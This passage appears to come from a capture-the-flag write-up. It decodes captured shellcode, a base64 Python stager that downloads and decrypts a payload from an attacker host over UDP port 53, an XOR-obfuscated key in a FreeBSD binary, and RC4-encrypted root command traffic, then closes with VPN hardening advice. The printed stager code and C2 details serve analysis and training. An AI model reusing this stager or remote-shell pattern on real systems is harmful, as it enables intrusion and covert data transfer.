0x80496b5 <buffer+117>:    int    $0x80  # Syscall (connect())
```

We can see that eax will be 0x62 which is the ID for the connect() syscall. Finally there is one more **int $0x80** instruction to decode.

```
0x80496b7 <buffer+119>:    mov    $0x3,%al             # Moves 0x3 into al
0x80496b9 <buffer+121>:    movb   $0x10,-0x3(%ecx) # Not relevant to eax
0x80496bd <buffer+125>:    int    $0x80            # Syscall (read())
```

The system call with ID of 3 is read(). This syscall reads the buffer into the address stored in the ecx register (%ecx). In this case, ecx points to the stack and will continue to execute the shellcode downloaded from the socket after the call to read.

The answer to this question is:
**connect read**

## 5.3) Deobfuscate the second payload to reveal the triple DES key. The key is the flag.

From the analysis in the last question we know that the next payload is additionally shellcode. We jump back into wireshark and extract the next payload which is contained in Frame 33. We use the same process as the last question to convert the shellcode and open it in gdb.

After breaking at <buffer> we step through the shellcode again. Another XOR loop starts at <buffer+12>. This runs across the entire buffer (800 bytes).

```
=> 0x804964c <buffer+12>:     xor    %cl,0x7(%esi,%ecx,1)
   0x8049650 <buffer+16>:     loop   0x804964c <buffer+12>
```

We use the **si** command to step through the code until we get to the system call execve() which is at <buffer+809>. We needed to single step many times to get here. The execve() system call stores the name of the file to execute at the address stored in the ebx register, it also stores the arguments for the executable file at the address in the ecx register+8.

```
=> 0x8049969 <buffer+809>:    int    $0x80
```

To display the filename we used the x/s command which will display the string at the given address. We see that it will execute /bin/sh.

```
(gdb) x/s $ebx
0xbffff4bc:     "//bin/sh"
```

The arguments are in *($ecx+8), we used the x/s command to dump the arguments for the /bin/sh process. The arguments contain a call to python to exec a base64 string.

```
(gdb) x/s *($ecx+8)
0x8049671 <buffer+49>:  "/usr/local/bin/python -c
\"exec('aW1wb3J0IHNvY2tldDsgaW1wb3J0IHN1YnByb2Nlc3M7IHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tl
dC5TT0NLX0RHUkFNKTsgcy5zZW5kdG8oIlx4MTBceDMyXHgwMVx4MDBceDAwXHgwMVx4MDBc"...
```

We extract the python code and base64 decoded the string passed into the exec function. This gave us the following python code. We applied some formatting for readability.

```
import socket; import subprocess;
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM);
s.sendto("\x10\x32\x01\x00\x00\x01\x00\x00\x00\x00\x00\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x
00\x00\x0a\x00\x01",("10.10.32.201",53));
d1 = s.recv(8192); s.close();
p1 = subprocess.Popen(["openssl","des3","-d","-k","PigShortNearerMean50"], \
stdin=subprocess.PIPE,stdout=subprocess.PIPE);
d2 = p1.communicate(d1[0x28:0x1948])[0];
p2 = subprocess.Popen(["tar","zxvf","-"],stdin=subprocess.PIPE); p2.communicate(d2);
```

We can see that the password used for the openssl tripledes encryption is **PigShortNearerMean50**

## 5.4) Once the third payload is decrypted with the above key, it drops out a binary. Deobfuscate the key hidden in the binary. The key is the flag.

The recovered python code seems to do a few things. Firstly, it connects back to the attacker on port 53 UDP (DNS?) , sends some data and then receives the response, extracting data from 0x28 to 0x1948. The extracted data is then piped into openssl to decrypt it. The decrypted data is then piped into tar to extract it.

To extract it ourselves we jump into wireshark and export the “data” for DNS response. We extract out the data from byte 0x28 to 0x1948 and output it to file payload-3rd.
We backpipe it into openssl to decrypt it, then pipe the decrypted data into tar to extract it.

```
#> openssl des3 -d -k PigShortNearerMean50 < payload-3rd | tar zxvf -
```

Extracting the decrypted tar drops out a file named spamassassin, which when we use the file command, tells us it is a FreeBSD executable.

```
#> file spamassassin
spamassassin: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses
shared libs), for FreeBSD 8.1, not stripped
```

Luckily for us, it’s not stripped, so the symbols are still available. From here you could fire up IDA Pro Free and extract the key, we used gdb instead.

We started our analysis by reading the symbols in the binary and identify interesting functions, variables, etc

```
#> readelf -s spamassassin
    66: 08048740   164 FUNC    GLOBAL DEFAULT   11 rc4_init
    76: 00000000    72 FUNC    GLOBAL DEFAULT  UND recv@@FBSD_1.0
    77: 00000000     0 FUNC    GLOBAL DEFAULT  UND socket@@FBSD_1.0
    78: 0804a320    17 OBJECT  GLOBAL DEFAULT   14 KEY
    83: 00000000     0 FUNC    GLOBAL DEFAULT  UND connect@@FBSD_1.0
    97: 080487f0   220 FUNC    GLOBAL DEFAULT   11 rc4_crypt
```

We load the spamassassin binary into gdb and look to see if the data at the KEY symbol is in plaintext. To do this we display the data at the address given in the output of readelf.

```
(gdb) x/4x 0x0804a320
0x804a320 <KEY>:      0x8b8d96bd     0x869e9b97     0x9e8d9eb8     0xcbcc9a98
```

Unfortunately for us, the key looks like it is not in plaintext. To determine how it is obfuscated we display the main function of spamassassin and analyse the instructions.

```
(gdb) x/16i main
   0x8048ce0 <main>:   lea    0x4(%esp),%ecx
   0x8048ce4 <main+4>: and    $0xfffffff0,%esp
   0x8048ce7 <main+7>: pushl  -0x4(%ecx)
   0x8048cea <main+10>:       push   %ebp
   0x8048ceb <main+11>:       mov    %esp,%ebp
   0x8048ced <main+13>:       push   %ecx
   0x8048cee <main+14>:       sub    $0x300054,%esp
   0x8048cf4 <main+20>:       movl   $0x0,-0x20(%ebp)
   0x8048cfb <main+27>:       movb   $0xff,-0x19(%ebp)  #Load the XOR key (0xFF)
   0x8048cff <main+31>:       movl   $0x0,-0x20(%ebp)
   0x8048d06 <main+38>:       jmp    0x8048d22 <main+66>
   0x8048d08 <main+40>:       mov    -0x20(%ebp),%edx
   0x8048d0b <main+43>:       mov    -0x20(%ebp),%eax
   0x8048d0e <main+46>:       movzbl 0x804a320(%eax),%eax #Load the obfuscated key byte to al
   0x8048d15 <main+53>:       xor    -0x19(%ebp),%al #Xor the value in al with the XOR key
   0x8048d18 <main+56>:       mov    %al,0x804a320(%edx) #Store the plaintext key byte
   0x8048d1e <main+62>:       addl   $0x1,-0x20(%ebp) #Move to the next key byte
   0x8048d22 <main+66>:       cmpl   $0xf,-0x20(%ebp) #Check if we have xor’ed all of the key
   0x8048d26 <main+70>:       jle    0x8048d08 <main+40> #XOR again if we have more key bytes
```

This code loads the KEY bytes into eax and XOR’s them with the byte at -0x19(%ebp). It does this until it has processed 0xf bytes which is the length of the flag. This loop is contained between <main+40> and <main+70>.

The byte at -0x19(%ebp) is used as the XOR key and was set to 0xFF before the de-obfuscation loop began.

We manually de-obfuscated the KEY by XOR'ing each byte with 0xFF.

After XOR'ing each byte with 0xFF the key is **BirthdayGarage34**
**Note: If displaying key data as a word or dword, bit endianness needs to be compensated for.**

## 5.5) DECODE THE COMMUNICATION AND RETRIEVE THE FLAG.

Based on the function name symbols seen in the last question, the binary is likely communicating with a host and encrypting its data with RC4. We also noticed that when we used strings against the executable, a common base64 alphabet stood out.

```
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
```

Now knowing the the encoding and encryption used by the executable, in addition to the key we could now decrypt the final traffic contained in the PCAP file.

We used Wireshark to follow the final TCP stream and extract the data. We then inserted the data into a python script for decoding and decryption.

```
#!/usr/bin/python

from Crypto.Cipher import ARC4

text = """SqA=
Vq2Ho6t/IJjzovZ8bsPk0VyO5VvIS26KHVusjHTp9LdegFWzq5jqDm2Eaa3NOCkwk7Y/Z34=
T7fDsek4PYM=
DaeQ9uk0WA==
DayK7e84II6W
Da/W8vQwO5mW
DaiM+fI5WA==
DbSR8f0+PpKW
DbeQ9pE=
Ra2N//cIP5Lvpb47bKA=
QKWXvrQlPZjo+bk1Z8vsswHD4UDMSWc=
DunOs7Z6f9qx+/JxJIetwUGLvx6AAy+OEBHzziy0qqdDhSg=
Xbqd4OUpLIniqKEid9T+khLY7E3TUHzdQ0KgnX/n+fQQ1ig=
dKyM/7d3PJ7/s/8rZtjrzB/J/kXEQGWDSVS3kCH26e9Pog==
KQ==
aKGapLsTM4DylKovYMTlnx/090DdS2HXc12qim735uZYnSg=
DunOs7Z6f9qx+/JxJIetwUGLvx6AAy+OEBHzziy0qqdDhSg=
Xbqd4OUpLIniqKEid9T+khLY7E3TUHzdQ0KgnX/n+fQQ1ig=
"""

for line in text.split('\n'):
        cipher = ARC4.new('BirthdayGarage34')
        print cipher.decrypt(line.decode('base64'))
```

Running this script gave us the following output, including this segments final flag **DawnBusinessRespectNational65**.

```
id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

ls /root
.cshrc
.history
.k5login
.login
.profile
```

```
.ssh
final_message

cat /root/final_message
---------------------------------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Whoa, nice work solving this one!

Key: DawnBusinessRespectNational65
---------------------------------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```

# VPN Security Assessment

## 6.1) Authentication

Shared secret keys – no accountability for individuals
Recommendation: implement public / private key authentication with a certificate authority

## 6.2) Encryption

Weak encryption 'DES-CBC' with 56bit key – weak algorithm and low entropy key, which is vulnerable to brute force
Recommendation: revert back to default OpenVPN settings or use AES-256-CBC

## 6.3) VPN Termination Point

Terminates at the internal network – bypasses gateway security services (IDS, firewall, etc)
Recommendation: terminate at the DMZ

## 6.4) Routing

Client's internet traffic flows through their own direct internet connection, not the VPN – information leakage and bypasses gateway security services (IDS, proxy, DNS, etc)
Recommendation: direct all internet traffic through the VPN (default route to DMZ)

## 6.5) Logging

Logging is turned off, no timestamps and decentralised – prevents intrusion analysis and restricts incident investigation
Recommendation: set 'verb' to 4+, remove 'suppress-timestamps', forward logs to central server (rsyslog)